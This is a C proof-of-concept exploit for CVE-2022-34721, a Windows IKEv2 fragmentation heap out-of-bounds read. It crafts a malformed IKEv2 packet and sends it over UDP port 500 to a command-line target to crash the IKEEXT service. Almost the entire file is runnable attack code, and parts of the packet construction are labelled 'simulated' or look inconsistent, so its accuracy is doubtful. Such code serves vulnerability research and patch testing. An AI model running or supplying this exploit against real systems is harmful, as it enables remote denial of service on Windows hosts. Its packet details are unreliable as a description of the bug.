/*
 * PoC for CVE-2022-34721 — Windows IKEv2 Heap Out-of-Bounds Read
 *
 * The vulnerability is in ikeext.dll!IkeQueueRecvRequest which allocates a WFP
 * memory buffer via WfpMemAlloc using an unchecked bufferSize derived from
 * attacker-controlled IKEv2 fragment headers. During reassembly, the code copies
 * merged fragment data and later accesses the buffer at offset [3], causing an
 * out-of-bounds read.
 *
 * Reachable via UDP/500 IKEv2 fragmentation payload.
 *
 * Build: cl /O2 /W3 poc_cve_2022_34721.c ws2_32.lib
 * Run:  poc_cve_2022_34721.exe <target_ip>
 *
 * Expected result on vulnerable systems:
 *   - IKEEXT service crash or bugcheck in ikeext!IkeQueueRecvRequest
 *
 * On patched systems: packet is dropped / ignored.
 */

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

#define IKE_PORT 500

/*
 * IKEv2 packet header (simplified)
 */
typedef struct _IKEV2_HEADER {
    UINT64 initiator_spi;
    UINT64 responder_spi;
    UINT8  next_payload;
    UINT8  version;
    UINT8  exchange_type;
    UINT8  flags;
    UINT32 message_id;
    UINT32 length;
} IKEV2_HEADER;

/*
 * Encrypted payload (46) — used to carry fragmentation
 */
typedef struct _ENCRYPTED_PAYLOAD {
    UINT8  next_payload;
    UINT8  reserved;
    UINT16 payload_length;
    /* encrypted data follows */
} ENCRYPTED_PAYLOAD;

/*
 * IKEv2 Fragmentation payload (RFC 7383)
 *next_payload = 53 (Fragmentation)
 */
typedef struct _FRAGMENTATION_PAYLOAD {
    UINT8  next_payload;
    UINT8  reserved;
    UINT16 payload_length;
    UINT16 fragment_id;
    UINT8  fragment_total;
    UINT8  fragment_number;
    /* fragment data follows */
} FRAGMENTATION_PAYLOAD;

int main(int argc, char **argv)
{
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in target;
    char *target_ip;
    char packet[2048];
    int packet_len;
    int sent;

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <target_ip>\n", argv[0]);
        return 1;
    }
    target_ip = argv[1];

    printf("[*] CVE-2022-34721 PoC — IKEv2 Fragmentation Heap OOB Read\n");
    printf("[*] Target: %s:%d\n", target_ip, IKE_PORT);
    printf("[*] Reference: https://blog.78researchlab.com/9ed22cda-216f-434a-b063-ed78aafa4a7a\n\n");

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        fprintf(stderr, "[-] WSAStartup failed\n");
        return 1;
    }

    sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        fprintf(stderr, "[-] socket failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    memset(&target, 0, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(IKE_PORT);
    inet_pton(AF_INET, target_ip, &target.sin_addr);

    /*
     * Build IKEv2 packet with malformed fragmentation payload.
     * The bufferSize in the fragment header is attacker-controlled and
     * unchecked before WfpMemAlloc.
     */
    memset(packet, 0, sizeof(packet));
    IKEV2_HEADER *hdr = (IKEV2_HEADER *)packet;
    hdr->initiator_spi = 0x0102030405060708ULL;
    hdr->responder_spi = 0;
    hdr->next_payload = 53; /* Fragmentation */
    hdr->version = 0x20;    /* IKEv2 */
    hdr->exchange_type = 34; /* IKE_SA_INIT */
    hdr->flags = 0x08;      /* Initiator */
    hdr->message_id = 0;

    /* Fragmentation payload */
    FRAGMENTATION_PAYLOAD *frag = (FRAGMENTATION_PAYLOAD *)(packet + sizeof(IKEV2_HEADER));
    frag->next_payload = 0;  /* Last payload */
    frag->reserved = 0;
    frag->fragment_id = htons(0x1234);
    frag->fragment_total = 2;
    frag->fragment_number = 1;

    /*
     * Craft fragment data with a large declared bufferSize but small actual data.
     * The reassembly code allocates based on the declared size but copies based
     * on actual received size, then accesses offset [3] causing OOB read.
     */
    UINT8 fragment_data[1024];
    memset(fragment_data, 0, sizeof(fragment_data));

    /* Simulated fragment header with large bufferSize */
    *(UINT32 *)fragment_data = htonl(0x0000FFFF); /* Large bufferSize */

    memcpy((char *)frag + sizeof(FRAGMENTATION_PAYLOAD), fragment_data, sizeof(fragment_data));

    frag->payload_length = htons(sizeof(FRAGMENTATION_PAYLOAD) + sizeof(fragment_data));
    hdr->length = htonl(sizeof(IKEV2_HEADER) + ntohs(frag->payload_length));
    packet_len = ntohl(hdr->length);

    printf("[*] Sending IKEv2 fragmentation payload (%d bytes)...\n", packet_len);
    sent = sendto(sock, packet, packet_len, 0, (struct sockaddr *)&target, sizeof(target));
    if (sent == SOCKET_ERROR) {
        fprintf(stderr, "[-] sendto failed: %d\n", WSAGetLastError());
    } else {
        printf("[+] Sent %d bytes\n", sent);
        printf("[*] If target is VULNERABLE, IKEEXT service may crash.\n");
        printf("[*] If target is PATCHED, the packet is silently dropped.\n");
    }

    closesocket(sock);
    WSACleanup();
    return 0;
}
